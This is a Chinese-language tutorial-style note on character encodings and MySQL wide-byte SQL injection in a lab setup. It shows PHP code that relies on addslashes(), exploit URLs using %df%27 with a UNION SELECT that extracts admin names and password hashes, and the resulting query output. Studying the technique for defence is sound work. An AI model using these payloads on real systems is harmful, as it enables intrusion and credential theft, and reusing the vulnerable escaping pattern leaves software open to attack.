参考:
http://blog.csdn.net/jnbbwyth/article/details/6991425
https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
关于GBK编码和UTF-8编码
这个文件原文只有ASCII字符,当我加上两个汉字之后就不得不变成了UTF-8字符。
iconv
这个工具(MacOS, ubuntu和kali好像是自带的)可以用来转换编码。
比如,将一个文件从utf-8
编码格式转换成gbk
编码格式。注意要写明输出的文件名(-o
),不然会输出到标准输出。
iconv -f utf-8 -t gbk coding_test.php -o coding_test.php
利用xxd
这个工具可以发现,在utf-8
编码方式下,通过e5928c
这个三个字节来表示一个汉字”和”;而在gbk
编码方式下,通过bacd
这两个字节来表示一个汉字”和”。由于汉字无法通过ASCII编码显示出来,于是xxd右边用...
来表示几个字节。
MySQL 宽字节注入
加单引号不报错,说明不存在注入
在这个sql语句前面,我们使用了一个addslashes
函数,将$id
的值转义。这是通常cms中对sql注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入。
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
那么怎么逃过addslashes的限制?众所周知addslashes函数产生的效果就是,让'
变成\'
,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'
前面的\
:
- 想办法给
\
前面再加一个\
(或单数个即可),变成\\’
,这样\
被转义了,于是'
逃出了限制。 - 想办法把
\
弄没有
于是构造一个EXP。
http://192.168.10.163/data_and_sql/0x01/index.php?id=-1%a1%27UNION+Select+1,2,concat(name,0x23,pass)+FROM+admin#
这样还是不行。注意要把末尾的#
urlencode一下。
http://192.168.10.163/data_and_sql/0x01/index.php?id=-1%df%27%20union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23
MariaDB [test]> select concat(name,0x23,pass) from admin;
+----------------------------------------+
| concat(name,0x23,pass) |
+----------------------------------------+
| admin#21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------------+
1 row in set (0.00 sec)
其中0x23
代表#
。concat(param1,param2,param3)
表示将这三个参数连接起来。
关于
mysql_set_charset("utf8",$link);
mysql_query("SET NAMES 'UTF8'");
这两行的区别。
mysql_set_charset("utf8",$link);
其实做了mysql_query("SET NAMES 'UTF8'");
它做的事。而且后者并不被PHP官方建议。PHP官方建议使用前者,也就是mysql_set_charset("utf8",$link);
PHP PDO: charset, set names?
“set names” vs mysqli_set_charset — besides affecting mysqli_escape_string, are they identical?